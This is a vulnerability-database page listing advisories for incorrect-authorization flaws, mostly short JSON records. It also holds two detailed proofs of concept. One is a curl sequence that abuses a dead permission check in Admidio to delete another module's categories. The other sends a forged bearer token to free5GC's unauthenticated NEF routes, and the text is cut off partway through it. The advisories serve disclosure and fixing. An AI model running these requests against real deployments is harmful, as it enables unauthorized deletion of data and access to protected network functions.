CWE-863
Allowed-with-ReviewIncorrect Authorization
Abstraction: Class · Status: Incomplete
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
5549 vulnerabilities reference this CWE, most recent first.
GHSA-RW3M-264Q-5GP2
Vulnerability from github – Published: 2022-05-13 01:38 – Updated: 2022-05-13 01:38Gitlab Enterprise Edition version 10.3 is vulnerable to an authorization bypass issue in the GitLab Projects::BoardsController component resulting in an information disclosure on any board object.
{
"affected": [],
"aliases": [
"CVE-2017-0922"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-03-21T20:29:00Z",
"severity": "HIGH"
},
"details": "Gitlab Enterprise Edition version 10.3 is vulnerable to an authorization bypass issue in the GitLab Projects::BoardsController component resulting in an information disclosure on any board object.",
"id": "GHSA-rw3m-264q-5gp2",
"modified": "2022-05-13T01:38:24Z",
"published": "2022-05-13T01:38:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-0922"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/301123"
},
{
"type": "WEB",
"url": "https://about.gitlab.com/2018/01/16/gitlab-10-dot-3-dot-4-released"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RW5C-4XXP-6RQM
Vulnerability from github – Published: 2023-02-07 12:30 – Updated: 2023-02-15 00:30Dell Command Intel vPro Out of Band, versions prior to 4.3.1, contain an Improper Authorization vulnerability. A locally authenticated malicious users could potentially exploit this vulnerability in order to write arbitrary files to the system.
{
"affected": [],
"aliases": [
"CVE-2023-23696"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-07T10:15:00Z",
"severity": "HIGH"
},
"details": "Dell Command Intel vPro Out of Band, versions prior to 4.3.1, contain an Improper Authorization vulnerability. A locally authenticated malicious users could potentially exploit this vulnerability in order to write arbitrary files to the system.",
"id": "GHSA-rw5c-4xxp-6rqm",
"modified": "2023-02-15T00:30:38Z",
"published": "2023-02-07T12:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23696"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000208331/dsa-2023-029-dell-command-intel-vpro-out-of-band-security-update-for-an-improper-authorization-vulnerability"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RWHC-83X6-C8F9
Vulnerability from github – Published: 2026-06-13 00:34 – Updated: 2026-06-13 00:34OpenClaw before 2026.5.6 contains an authorization bypass vulnerability in native command handling that allows authenticated senders to execute owner-only commands without proper policy enforcement. Attackers can trigger native command handling to bypass the configured owner-command access control, potentially executing privileged commands from unauthorized users.
{
"affected": [],
"aliases": [
"CVE-2026-53828"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-12T22:16:54Z",
"severity": "HIGH"
},
"details": "OpenClaw before 2026.5.6 contains an authorization bypass vulnerability in native command handling that allows authenticated senders to execute owner-only commands without proper policy enforcement. Attackers can trigger native command handling to bypass the configured owner-command access control, potentially executing privileged commands from unauthorized users.",
"id": "GHSA-rwhc-83x6-c8f9",
"modified": "2026-06-13T00:34:32Z",
"published": "2026-06-13T00:34:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-p73f-w79w-jqr5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53828"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-native-command-authorization-bypass-via-owner-command-enforcement"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-RWJR-QJJ3-MQ2F
Vulnerability from github – Published: 2026-05-29 21:57 – Updated: 2026-05-29 21:57Summary
modules/categories.php checks that the supplied type parameter (ANN, EVT, ROL, USF, …) corresponds to a module the actor administers. The follow-up "is this specific category editable by me" check at lines 56-61 is dead code because it compares $getType (a category-type code) against mode names (edit/save/delete); the condition is permanently false, so $category->isEditable() is never invoked. The delete, sequence, and save switch cases load the category by the supplied UUID and act on it without re-checking that the category belongs to a module the actor administers. A user holding only one module-administrator right can therefore destroy or reorder empty categories belonging to other modules — for example, an announcements administrator can delete role categories, profile-field categories, or weblink categories that they have no right to touch.
Details
vulnerable code
modules/categories.php:40-61:
$getMode = admFuncVariableIsValid($_GET, 'mode', 'string',
array('defaultValue' => 'list',
'validValues' => array('list', 'edit', 'save', 'delete', 'sequence')));
$getType = admFuncVariableIsValid($_GET, 'type', 'string',
array('validValues' => array('ANN','AWA','EVT','FOT','LNK','ROL','USF','IVT')));
$getCategoryUUID = admFuncVariableIsValid($_GET, 'uuid', 'uuid');
// check rights of the type
if (($getType === 'ANN' && !$gCurrentUser->isAdministratorAnnouncements())
|| ($getType === 'AWA' && !$gCurrentUser->isAdministratorUsers())
|| ($getType === 'EVT' && !$gCurrentUser->isAdministratorEvents())
|| ($getType === 'FOT' && !$gCurrentUser->isAdministratorForum())
|| ($getType === 'LNK' && !$gCurrentUser->isAdministratorWeblinks())
|| ($getType === 'ROL' && !$gCurrentUser->isAdministratorRoles())
|| ($getType === 'USF' && !$gCurrentUser->isAdministratorUsers())
|| ($getType === 'IVT' && !$gCurrentUser->isAdministratorInventory())) {
throw new Exception('SYS_NO_RIGHTS');
}
if (in_array($getType, array('edit', 'save', 'delete'))) { // <- DEAD CODE
// check if this category is editable by the current user and current organization
if (!$category->isEditable()) {
throw new Exception('SYS_NO_RIGHTS');
}
}
The in_array($getType, array('edit','save','delete')) test compares the category-type code to mode names. $getType can only be ANN, AWA, EVT, FOT, LNK, ROL, USF, or IVT (it is rejected by admFuncVariableIsValid if it is anything else), so the array intersection is permanently empty. The intended check was probably in_array($getMode, array('edit','save','delete')). As written, $category->isEditable() is never called from this entry point, and the $category symbol is not defined here at all (it is local to other code paths), so even if the operator were corrected the body of the if would throw an undefined-variable warning before doing anything useful.
modules/categories.php:99-110 — the delete switch case just loads the category by UUID and deletes it, with no per-record permission check:
case 'delete':
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$menu = new Category($gDb);
$menu->readDataByUuid($getCategoryUUID);
$menu->delete();
echo json_encode(array('status' => 'success'));
break;
modules/categories.php:112-123 — the sequence switch case has the same shape.
Category::delete() blocks deletion of the system / default category and of categories that still have referenced records (events, announcements, role assignments, etc.), but does not check whether the category's cat_type matches a module the actor has rights over.
exploitation flow
- Attacker has
Announcements administrator(or any other single module-admin right) but is not a roles / inventory / weblinks administrator. - Attacker observes the UUID of a target category by listing categories of any type they DO have rights over (the listing returns category UUIDs of their own type), or simply enumerates by visiting
modules/categories.php?type=<their_type>&mode=list. - Attacker requests
POST /modules/categories.php?mode=delete&type=ANN&uuid=<UUID-of-foreign-category>carrying their validadm_csrf_token.type=ANNsatisfies the rights gate at line 47-58 (they are an announcements admin). The deadifat line 56 does not fire. The switch falls intocase 'delete':which deletes the category without re-checking the type. - Server replies
{"status":"success"}. The cross-module category is gone.
The same primitive applies to mode=sequence (reorder), and to mode=save for editing the category's name and description.
PoC
Tested on a fresh install of HEAD c5cde53 running on PHP 8.4 + MariaDB 11.8 at http://127.0.0.1:8085. Reproduces in two requests. testadmin is the bootstrap administrator created during install; annadmin is a freshly-created user whose only role is Association's board with rol_announcements=1 (no roles / inventory / weblinks rights).
# 0. set-up: confirm starting state of the cross-module category
$ mariadb -h 127.0.0.1 -P 3399 -u admidio -p... admidio \
-e "SELECT cat_id, cat_uuid, cat_type, cat_name FROM adm_categories WHERE cat_type='ROL' AND cat_name='TEAMS';"
cat_id cat_uuid cat_type cat_name
7 846536b9-2582-4845-a5ff-dee06f3212c7 ROL TEAMS
# 1. login as annadmin (announcements admin only) and capture session + csrf
$ curl -s -c $C -b $C "http://127.0.0.1:8085/index.php?module=auth" > /dev/null
$ html=$(curl -s -c $C -b $C "http://127.0.0.1:8085/system/login.php?...")
$ csrf=$(grep -oE 'adm_csrf_token[^"]+value="[^"]+' /tmp/login.html | head -1 | ...)
$ curl -s -c $C -b $C \
--data-urlencode "adm_csrf_token=$csrf" \
--data-urlencode "adm_login_name=annadmin" \
--data-urlencode "adm_password=Annpwd123!" \
"http://127.0.0.1:8085/system/login.php?mode=check"
{"status":"success","url":"..."}
# 2. as annadmin, GET the categories page once to seed an in-session form key
$ html=$(curl -s -b $C "http://127.0.0.1:8085/modules/categories.php?type=ANN&mode=list")
$ csrf=$(echo "$html" | grep -oE 'adm_csrf_token[^"]+value="[^"]+' | head -1 | sed 's/.*value="//')
# 3. fire the cross-type delete: type=ANN (annadmin has rights), uuid=<ROL category>
$ curl -s -b $C \
-X POST \
--data-urlencode "adm_csrf_token=$csrf" \
--data-urlencode "direction=" \
"http://127.0.0.1:8085/modules/categories.php?mode=delete&type=ANN&uuid=846536b9-2582-4845-a5ff-dee06f3212c7"
{"status":"success"}
# 4. verify the row is gone — annadmin had no role-administrator rights
$ mariadb ... admidio -e "SELECT * FROM adm_categories WHERE cat_uuid='846536b9-2582-4845-a5ff-dee06f3212c7';"
(no rows)
The same chain with mode=sequence&direction=UP reorders a foreign category. With mode=save, an attacker can rename the foreign category and (via the unprotected cat_type rebind in CategoryService::save() line 210) re-tag it to a different module type, breaking referential consistency.
Impact
Any user with at least one module-administrator right can delete or reorder admin-managed categories of other modules:
- Role categories (the structural grouping of all roles in the organisation)
- Event calendars (each calendar is a category of type
EVT) - Profile-field categories (the grouping of which fields are shown on which profile tab)
- Weblink categories
- Forum categories (
FOT) - Inventory categories (
IVT)
Category::delete() blocks categories with active rows, so the attack lands on currently-empty categories, but a malicious announcement-admin can also delete the default category for a module immediately after the legitimate admin deletes its last record, eliminating the implicit "Default Category" before a new record can re-create it. The target organisation loses the structural grouping for an entire module and must rebuild it by hand from a fresh database state.
The CVSS reflects: any user with a single module-admin role can permanently destroy structural metadata for every other module. PR:L because module-admin rights are routinely granted to non-administrative users (chairs of subgroups, content editors). I:H because data is destroyed and there is no in-product undo. A:N because the system stays up; only the affected module's metadata is gone.
Recommended Fix
Replace the dead if (in_array($getType, array('edit', 'save', 'delete'))) block with a real check on $getMode plus a per-record isEditable() test that re-derives the module from cat_type:
if (in_array($getMode, array('edit', 'save', 'delete', 'sequence'), true) && $getCategoryUUID !== '') {
$category = new Category($gDb);
$category->readDataByUuid($getCategoryUUID);
if ($category->isNewRecord()) {
throw new Exception('SYS_INVALID_PAGE_VIEW');
}
// re-check rights against the *record's* cat_type, not the user-supplied type
$recordType = $category->getValue('cat_type');
if ( ($recordType === 'ANN' && !$gCurrentUser->isAdministratorAnnouncements())
|| ($recordType === 'AWA' && !$gCurrentUser->isAdministratorUsers())
|| ($recordType === 'EVT' && !$gCurrentUser->isAdministratorEvents())
|| ($recordType === 'FOT' && !$gCurrentUser->isAdministratorForum())
|| ($recordType === 'LNK' && !$gCurrentUser->isAdministratorWeblinks())
|| ($recordType === 'ROL' && !$gCurrentUser->isAdministratorRoles())
|| ($recordType === 'USF' && !$gCurrentUser->isAdministratorUsers())
|| ($recordType === 'IVT' && !$gCurrentUser->isAdministratorInventory())) {
throw new Exception('SYS_NO_RIGHTS');
}
if (!$category->isEditable()) {
throw new Exception('SYS_NO_RIGHTS');
}
}
Additionally, CategoryService::save() should refuse to mutate cat_type when editing an existing record (drop the $this->categoryRessource->setValue('cat_type', $this->type) at line 210, or set it only when isNewRecord()).
A regression test should call categories.php?mode=delete&type=ANN&uuid=<ROL-category> as a user with only isAdministratorAnnouncements() and assert the response is SYS_NO_RIGHTS rather than success.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.0.9"
},
"package": {
"ecosystem": "Packagist",
"name": "admidio/admidio"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.0.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47227"
],
"database_specific": {
"cwe_ids": [
"CWE-639",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-29T21:57:05Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\n`modules/categories.php` checks that the supplied `type` parameter (`ANN`, `EVT`, `ROL`, `USF`, \u2026) corresponds to a module the actor administers. The follow-up \"is this specific category editable by me\" check at lines 56-61 is dead code because it compares `$getType` (a category-type code) against mode names (`edit`/`save`/`delete`); the condition is permanently false, so `$category-\u003eisEditable()` is never invoked. The `delete`, `sequence`, and `save` switch cases load the category by the supplied UUID and act on it without re-checking that the category belongs to a module the actor administers. A user holding only one module-administrator right can therefore destroy or reorder empty categories belonging to *other* modules \u2014 for example, an announcements administrator can delete role categories, profile-field categories, or weblink categories that they have no right to touch.\n\n## Details\n\n### vulnerable code\n\n`modules/categories.php:40-61`:\n\n```php\n$getMode = admFuncVariableIsValid($_GET, \u0027mode\u0027, \u0027string\u0027,\n array(\u0027defaultValue\u0027 =\u003e \u0027list\u0027,\n \u0027validValues\u0027 =\u003e array(\u0027list\u0027, \u0027edit\u0027, \u0027save\u0027, \u0027delete\u0027, \u0027sequence\u0027)));\n$getType = admFuncVariableIsValid($_GET, \u0027type\u0027, \u0027string\u0027,\n array(\u0027validValues\u0027 =\u003e array(\u0027ANN\u0027,\u0027AWA\u0027,\u0027EVT\u0027,\u0027FOT\u0027,\u0027LNK\u0027,\u0027ROL\u0027,\u0027USF\u0027,\u0027IVT\u0027)));\n$getCategoryUUID = admFuncVariableIsValid($_GET, \u0027uuid\u0027, \u0027uuid\u0027);\n\n// check rights of the type\nif (($getType === \u0027ANN\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorAnnouncements())\n || ($getType === \u0027AWA\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorUsers())\n || ($getType === \u0027EVT\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorEvents())\n || ($getType === \u0027FOT\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorForum())\n || ($getType === \u0027LNK\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorWeblinks())\n || ($getType === \u0027ROL\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorRoles())\n || ($getType === \u0027USF\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorUsers())\n || ($getType === \u0027IVT\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorInventory())) {\n throw new Exception(\u0027SYS_NO_RIGHTS\u0027);\n}\n\nif (in_array($getType, array(\u0027edit\u0027, \u0027save\u0027, \u0027delete\u0027))) { // \u003c- DEAD CODE\n // check if this category is editable by the current user and current organization\n if (!$category-\u003eisEditable()) {\n throw new Exception(\u0027SYS_NO_RIGHTS\u0027);\n }\n}\n```\n\nThe `in_array($getType, array(\u0027edit\u0027,\u0027save\u0027,\u0027delete\u0027))` test compares the category-type code to mode names. `$getType` can only be `ANN`, `AWA`, `EVT`, `FOT`, `LNK`, `ROL`, `USF`, or `IVT` (it is rejected by `admFuncVariableIsValid` if it is anything else), so the array intersection is permanently empty. The intended check was probably `in_array($getMode, array(\u0027edit\u0027,\u0027save\u0027,\u0027delete\u0027))`. As written, `$category-\u003eisEditable()` is never called from this entry point, and the `$category` symbol is not defined here at all (it is local to other code paths), so even if the operator were corrected the body of the if would throw an undefined-variable warning before doing anything useful.\n\n`modules/categories.php:99-110` \u2014 the `delete` switch case just loads the category by UUID and deletes it, with no per-record permission check:\n\n```php\ncase \u0027delete\u0027:\n SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027]);\n\n $menu = new Category($gDb);\n $menu-\u003ereadDataByUuid($getCategoryUUID);\n $menu-\u003edelete();\n echo json_encode(array(\u0027status\u0027 =\u003e \u0027success\u0027));\n break;\n```\n\n`modules/categories.php:112-123` \u2014 the `sequence` switch case has the same shape.\n\n`Category::delete()` blocks deletion of the system / default category and of categories that still have referenced records (events, announcements, role assignments, etc.), but does *not* check whether the category\u0027s `cat_type` matches a module the actor has rights over.\n\n### exploitation flow\n\n1. Attacker has `Announcements administrator` (or any other single module-admin right) but is **not** a roles / inventory / weblinks administrator.\n2. Attacker observes the UUID of a target category by listing categories of any type they DO have rights over (the listing returns category UUIDs of their own type), or simply enumerates by visiting `modules/categories.php?type=\u003ctheir_type\u003e\u0026mode=list`.\n3. Attacker requests `POST /modules/categories.php?mode=delete\u0026type=ANN\u0026uuid=\u003cUUID-of-foreign-category\u003e` carrying their valid `adm_csrf_token`. `type=ANN` satisfies the rights gate at line 47-58 (they are an announcements admin). The dead `if` at line 56 does not fire. The switch falls into `case \u0027delete\u0027:` which deletes the category without re-checking the type.\n4. Server replies `{\"status\":\"success\"}`. The cross-module category is gone.\n\nThe same primitive applies to `mode=sequence` (reorder), and to `mode=save` for editing the category\u0027s name and description.\n\n## PoC\n\nTested on a fresh install of HEAD `c5cde53` running on PHP 8.4 + MariaDB 11.8 at `http://127.0.0.1:8085`. Reproduces in two requests. `testadmin` is the bootstrap administrator created during install; `annadmin` is a freshly-created user whose only role is `Association\u0027s board` with `rol_announcements=1` (no roles / inventory / weblinks rights).\n\n```\n# 0. set-up: confirm starting state of the cross-module category\n$ mariadb -h 127.0.0.1 -P 3399 -u admidio -p... admidio \\\n -e \"SELECT cat_id, cat_uuid, cat_type, cat_name FROM adm_categories WHERE cat_type=\u0027ROL\u0027 AND cat_name=\u0027TEAMS\u0027;\"\ncat_id cat_uuid cat_type cat_name\n7 846536b9-2582-4845-a5ff-dee06f3212c7 ROL TEAMS\n\n# 1. login as annadmin (announcements admin only) and capture session + csrf\n$ curl -s -c $C -b $C \"http://127.0.0.1:8085/index.php?module=auth\" \u003e /dev/null\n$ html=$(curl -s -c $C -b $C \"http://127.0.0.1:8085/system/login.php?...\")\n$ csrf=$(grep -oE \u0027adm_csrf_token[^\"]+value=\"[^\"]+\u0027 /tmp/login.html | head -1 | ...)\n$ curl -s -c $C -b $C \\\n --data-urlencode \"adm_csrf_token=$csrf\" \\\n --data-urlencode \"adm_login_name=annadmin\" \\\n --data-urlencode \"adm_password=Annpwd123!\" \\\n \"http://127.0.0.1:8085/system/login.php?mode=check\"\n{\"status\":\"success\",\"url\":\"...\"}\n\n# 2. as annadmin, GET the categories page once to seed an in-session form key\n$ html=$(curl -s -b $C \"http://127.0.0.1:8085/modules/categories.php?type=ANN\u0026mode=list\")\n$ csrf=$(echo \"$html\" | grep -oE \u0027adm_csrf_token[^\"]+value=\"[^\"]+\u0027 | head -1 | sed \u0027s/.*value=\"//\u0027)\n\n# 3. fire the cross-type delete: type=ANN (annadmin has rights), uuid=\u003cROL category\u003e\n$ curl -s -b $C \\\n -X POST \\\n --data-urlencode \"adm_csrf_token=$csrf\" \\\n --data-urlencode \"direction=\" \\\n \"http://127.0.0.1:8085/modules/categories.php?mode=delete\u0026type=ANN\u0026uuid=846536b9-2582-4845-a5ff-dee06f3212c7\"\n{\"status\":\"success\"}\n\n# 4. verify the row is gone \u2014 annadmin had no role-administrator rights\n$ mariadb ... admidio -e \"SELECT * FROM adm_categories WHERE cat_uuid=\u0027846536b9-2582-4845-a5ff-dee06f3212c7\u0027;\"\n(no rows)\n```\n\nThe same chain with `mode=sequence\u0026direction=UP` reorders a foreign category. With `mode=save`, an attacker can rename the foreign category and (via the unprotected `cat_type` rebind in `CategoryService::save()` line 210) re-tag it to a different module type, breaking referential consistency.\n\n## Impact\n\nAny user with at least one module-administrator right can delete or reorder admin-managed categories of other modules:\n\n- Role categories (the structural grouping of all roles in the organisation)\n- Event calendars (each calendar is a category of type `EVT`)\n- Profile-field categories (the grouping of which fields are shown on which profile tab)\n- Weblink categories\n- Forum categories (`FOT`)\n- Inventory categories (`IVT`)\n\n`Category::delete()` blocks categories with active rows, so the attack lands on currently-empty categories, but a malicious announcement-admin can also delete the *default* category for a module immediately after the legitimate admin deletes its last record, eliminating the implicit \"Default Category\" before a new record can re-create it. The target organisation loses the structural grouping for an entire module and must rebuild it by hand from a fresh database state.\n\nThe CVSS reflects: any user with a single module-admin role can permanently destroy structural metadata for every other module. `PR:L` because module-admin rights are routinely granted to non-administrative users (chairs of subgroups, content editors). `I:H` because data is destroyed and there is no in-product undo. `A:N` because the system stays up; only the affected module\u0027s metadata is gone.\n\n## Recommended Fix\n\nReplace the dead `if (in_array($getType, array(\u0027edit\u0027, \u0027save\u0027, \u0027delete\u0027)))` block with a real check on `$getMode` plus a per-record `isEditable()` test that re-derives the module from `cat_type`:\n\n```php\nif (in_array($getMode, array(\u0027edit\u0027, \u0027save\u0027, \u0027delete\u0027, \u0027sequence\u0027), true) \u0026\u0026 $getCategoryUUID !== \u0027\u0027) {\n $category = new Category($gDb);\n $category-\u003ereadDataByUuid($getCategoryUUID);\n\n if ($category-\u003eisNewRecord()) {\n throw new Exception(\u0027SYS_INVALID_PAGE_VIEW\u0027);\n }\n\n // re-check rights against the *record\u0027s* cat_type, not the user-supplied type\n $recordType = $category-\u003egetValue(\u0027cat_type\u0027);\n if ( ($recordType === \u0027ANN\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorAnnouncements())\n || ($recordType === \u0027AWA\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorUsers())\n || ($recordType === \u0027EVT\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorEvents())\n || ($recordType === \u0027FOT\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorForum())\n || ($recordType === \u0027LNK\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorWeblinks())\n || ($recordType === \u0027ROL\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorRoles())\n || ($recordType === \u0027USF\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorUsers())\n || ($recordType === \u0027IVT\u0027 \u0026\u0026 !$gCurrentUser-\u003eisAdministratorInventory())) {\n throw new Exception(\u0027SYS_NO_RIGHTS\u0027);\n }\n\n if (!$category-\u003eisEditable()) {\n throw new Exception(\u0027SYS_NO_RIGHTS\u0027);\n }\n}\n```\n\nAdditionally, `CategoryService::save()` should refuse to mutate `cat_type` when editing an existing record (drop the `$this-\u003ecategoryRessource-\u003esetValue(\u0027cat_type\u0027, $this-\u003etype)` at line 210, or set it only when `isNewRecord()`).\n\nA regression test should call `categories.php?mode=delete\u0026type=ANN\u0026uuid=\u003cROL-category\u003e` as a user with only `isAdministratorAnnouncements()` and assert the response is `SYS_NO_RIGHTS` rather than `success`.",
"id": "GHSA-rwjr-qjj3-mq2f",
"modified": "2026-05-29T21:57:05Z",
"published": "2026-05-29T21:57:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Admidio/admidio/security/advisories/GHSA-rwjr-qjj3-mq2f"
},
{
"type": "PACKAGE",
"url": "https://github.com/Admidio/admidio"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Admidio module-administrator can delete or reorder categories owned by other modules via dead authorization check in `modules/categories.php`"
}
GHSA-RWRR-92P6-JXRH
Vulnerability from github – Published: 2022-05-13 01:17 – Updated: 2022-05-13 01:17A vulnerability in the web interface for specific feature sets of Cisco Integrated Management Controller (IMC) Supervisor and Cisco UCS Director could allow an authenticated, remote attacker to access sensitive information. The vulnerability is due to an authorization check that does not properly include the access level of the web interface user. An attacker who has valid application credentials could exploit this vulnerability by sending a crafted HTTP request to the web interface. A successful exploit could allow the attacker to view sensitive information that belongs to other users. The attacker could then use this information to conduct additional reconnaissance attacks.
{
"affected": [],
"aliases": [
"CVE-2018-15405"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-10-05T14:29:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the web interface for specific feature sets of Cisco Integrated Management Controller (IMC) Supervisor and Cisco UCS Director could allow an authenticated, remote attacker to access sensitive information. The vulnerability is due to an authorization check that does not properly include the access level of the web interface user. An attacker who has valid application credentials could exploit this vulnerability by sending a crafted HTTP request to the web interface. A successful exploit could allow the attacker to view sensitive information that belongs to other users. The attacker could then use this information to conduct additional reconnaissance attacks.",
"id": "GHSA-rwrr-92p6-jxrh",
"modified": "2022-05-13T01:17:45Z",
"published": "2022-05-13T01:17:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-15405"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20181003-imcs-ucsd-id"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1041779"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RWWP-3RV3-J6Q6
Vulnerability from github – Published: 2025-08-13 18:31 – Updated: 2025-08-13 18:31An issue has been discovered in GitLab CE/EE affecting all versions from 15.6 before 18.0.6, 18.1 before 18.1.4, and 18.2 before 18.2.2 that under certain conditions could have allowed authenticated users to bypass access controls and download private artifacts by accessing specific API endpoints.
{
"affected": [],
"aliases": [
"CVE-2024-10219"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-13T18:15:26Z",
"severity": "MODERATE"
},
"details": "An issue has been discovered in GitLab CE/EE affecting all versions from 15.6 before 18.0.6, 18.1 before 18.1.4, and 18.2 before 18.2.2 that under certain conditions could have allowed authenticated users to bypass access controls and download private artifacts by accessing specific API endpoints.",
"id": "GHSA-rwwp-3rv3-j6q6",
"modified": "2025-08-13T18:31:24Z",
"published": "2025-08-13T18:31:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10219"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/2780353"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/500134"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RWWW-X45W-P52W
Vulnerability from github – Published: 2026-05-08 23:02 – Updated: 2026-06-08 23:48Summary
free5GC's NEF mounts the nnef-pfdmanagement route group without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can use a forged or arbitrary bearer token (e.g. Authorization: Bearer not-a-real-token) to read PFD application data via GET /applications and GET /applications/{appID}, and to create or delete PFD change-notification subscriptions via POST /subscriptions and DELETE /subscriptions/{subID}. Same root cause as the other NEF SBI findings: the route group is mounted without any inbound auth middleware. Unlike the OAM and traffic-influence groups, nnef-pfdmanagement IS declared in the runtime ServiceList, so this is the production-intended path that operators expect to be protected by OAuth2 setting receive from NRF: true -- and it is not.
Details
Validated against the NEF container in the official Docker compose lab.
- Source repo tag: v4.2.1
- Running Docker image: free5gc/nef:v4.2.0
- Runtime NEF commit: 5ce35eab
- Docker validation date: 2026-03-11
NEF advertises OAuth2 setting receive from NRF: true, but the entire nnef-pfdmanagement route group is mounted with no inbound auth middleware, so forged-token requests reach the read and subscription handlers and execute against UDR-backed state.
Code evidence (paths in free5gc/nef):
- Route group mounted without auth middleware: NFs/nef/internal/sbi/server.go:56
- Read routes exposed at /applications and /applications/:appID: NFs/nef/internal/sbi/api_pfdf.go:13
- Subscription routes exposed at /subscriptions and /subscriptions/:subID: NFs/nef/internal/sbi/api_pfdf.go:13
- GET /applications queries UDR for application PFD data: NFs/nef/internal/sbi/processor/pfdf.go:19
- GET /applications/:appID queries UDR for an application PFD: NFs/nef/internal/sbi/processor/pfdf.go:53
- POST /subscriptions only checks notifyUri is present, then stores the subscription: NFs/nef/internal/sbi/processor/pfdf.go:83
- DELETE /subscriptions/:subID removes the subscription: NFs/nef/internal/sbi/processor/pfdf.go:110
- NEF context only exposes outbound token acquisition (GetTokenCtx); there is no inbound authorization path: NFs/nef/internal/context/nef_context.go:153
PoC
Reproduced end-to-end against the running NEF at http://10.100.200.19:8000 using a fabricated bearer token.
- Seed an AF context (also forged-token):
curl -i \
-H 'Authorization: Bearer not-a-real-token' \
-H 'Content-Type: application/json' \
--data '{"afServiceId":"svc-pfdf-read","afAppId":"app-seed-pfdf-read","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.41 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-pfdf-read","routeInfo":{"ipv4Addr":"10.60.0.3","portNumber":0}}]}' \
http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-pfdf-read-20260311/subscriptions
- Seed one PFD application entry (also forged-token):
